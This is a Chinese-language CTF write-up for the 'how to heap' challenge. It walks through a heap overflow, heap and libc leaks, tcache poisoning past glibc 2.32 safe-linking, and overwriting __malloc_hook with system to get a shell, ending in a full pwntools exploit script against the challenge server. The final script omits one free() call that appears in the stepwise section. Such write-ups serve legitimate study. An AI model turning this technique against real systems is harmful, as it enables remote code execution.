---
# System prepended metadata

title: how to heap(Rumble)
tags: [Rumble]

---

###### tags: `Rumble`


# how to heap(Rumble)

- 這題note漏洞在於read自己可以設定長度，可以蓋掉我們要的值
    - leak heapbase
    - leak libc base
    - 找libc版本
    - 將fd蓋成malloc hook再在上面蓋system，最後malloc(已變成system)一段size(/bin/sh)讓他吃進去

- 先寫function互動
```python=
def malloc(index,size):
	r.sendline('1')
	r.recvuntil('malloc at index:')
	r.sendline(str(index))
	r.recvuntil('with size:')
	r.sendline(str(size))
def free(index):
	r.sendline('2')
	r.recvuntil('free at index:')
	r.sendline(str(index))
def read(index,size):
	r.sendline('3')
	r.recvuntil('read at index:')
	r.sendline(str(index))
	r.recvuntil('of size:')
	r.sendline(str(size))
def write(index,size,data):
	r.sendline('4')
	r.recvuntil('write to index:')
	r.sendline(str(index))
	r.recvuntil('of size:')
	r.sendline(str(size))
	r.sendline(data)
def mask(heapbase,fd):
    return fd ^ (heapbase >> 12)
```
### leak heapbase
- free掉1時，(2.32版中)fd指向heapbase>>12的位址，在不知道版本情況下，bk會指向heapbase+0x10的位址
```python=
malloc(0,0x20)
malloc(1,0x30)
malloc(2,0x20)
free(1)
read(0,0x40)
recv = r.recvuntil('>')
heapbase = u64(recv[-9:-1]) -0x10 # read(改0x38，heapbase = u64(recv[-9:-1] <<12)
print 'heapbase: ' + hex(heapbase)
```
### leak libc(找版本)
- 藉由leak一段大於small chunk大小的size，不會進tcache，後面接個fastbin避免被後面top chunk merge掉，他free掉後fd指向main arena+96位置
- 再由p &_IO_list_all_找到list all的位置減去main arena得到偏移值(也得到list all的位址)
- https://libc.rip/
    - 找libc版本
    - ![](https://i.imgur.com/7VohK7H.png)

```python=
malloc(3,0x20)
malloc(4,0x420)
malloc(5,0x20)
free(4)
read(3,0x38)
recv =  r.recvuntil('>')
main96 = u64(recv[-9:-1])
list_all = main96+2496 #find libc version
```
### 找出所需function的位置
```python=
libcbase = list_all - libc.symbols['_IO_list_all']
malloc_hook = libcbase + libc.symbols['__malloc_hook']
system = libcbase + libc.symbols['system']
binsh = libcbase + libc.search('/bin/sh').next()
print 'libcbase: ' + hex(libcbase)
print 'malloc_hook: ' + hex(malloc_hook)
print 'system: ' + hex(system)
print 'binsh: ' + hex(binsh)
```
### call system
- 先malloc三個大小，先free8在free7，7的fd指向8，再6寫0x38寫到7的fd將malloc hook位址寫入，等於要在malloc位址8時，會去7fd找位置(也就是malloc hook)，然後再malloc兩塊，第二塊的10指向malloc hook，前8個bytes把system寫入malloc hook最後將bin/sh的記憶體當data寫入
```python=
malloc(6,0x20)
malloc(7,0x40)
malloc(8,0x20)
free(8)
free(7)
write(6,0x38,0x30*'A'+p64(mask(heapbase,malloc_hook)))
malloc(9,0x40)
malloc(10,0x40)
write(10,0x8,p64(system))
malloc(11,binsh)
```

- 完整payload
```python=
from pwn import *

#r = process('./howtoheap')
#libc = ELF('./howtoheap').libc
r = remote('chal.cybersecurityrumble.de',8263)
libc = ELF('./libc-2.32-1-x86_64.so')

def malloc(index,size):
	r.sendline('1')
	r.recvuntil('malloc at index:')
	r.sendline(str(index))
	r.recvuntil('with size:')
	r.sendline(str(size))
def free(index):
	r.sendline('2')
	r.recvuntil('free at index:')
	r.sendline(str(index))
def read(index,size):
	r.sendline('3')
	r.recvuntil('read at index:')
	r.sendline(str(index))
	r.recvuntil('of size:')
	r.sendline(str(size))
def write(index,size,data):
	r.sendline('4')
	r.recvuntil('write to index:')
	r.sendline(str(index))
	r.recvuntil('of size:')
	r.sendline(str(size))
	r.sendline(data)
def mask(heapbase,fd):
	return fd ^ (heapbase >> 12)
def readbytes(index,size):
	read(index,size)
	recv = r.recvuntil('>')
	for i in range(0,len(recv)):
		if (i-1)%8 == 0:
			print '---'
		print hex(ord(recv[i]))

malloc(0,0x20)
malloc(1,0x30)
malloc(2,0x20)
free(1)
read(0,0x40)
recv = r.recvuntil('>')
heapbase = u64(recv[-9:-1]) -0x10
print 'heapbase: ' + hex(heapbase)

malloc(3,0x20)
malloc(4,0x420)
malloc(5,0x20)
free(4)
read(3,0x38)
recv =  r.recvuntil('>')
main96 = u64(recv[-9:-1])
list_all = main96+2496 #find libc version
libcbase = list_all - libc.symbols['_IO_list_all']
malloc_hook = libcbase + libc.symbols['__malloc_hook']
system = libcbase + libc.symbols['system']
binsh = libcbase + libc.search('/bin/sh').next()
print 'libcbase: ' + hex(libcbase)
print 'malloc_hook: ' + hex(malloc_hook)
print 'system: ' + hex(system)
print 'binsh: ' + hex(binsh)


malloc(6,0x20)
malloc(7,0x40)
malloc(8,0x20)

free(7)
write(6,0x38,0x30*'A'+p64(mask(heapbase,malloc_hook)))
malloc(9,0x40)
malloc(10,0x40)
write(10,0x8,p64(system))
malloc(11,binsh)

r.interactive()
```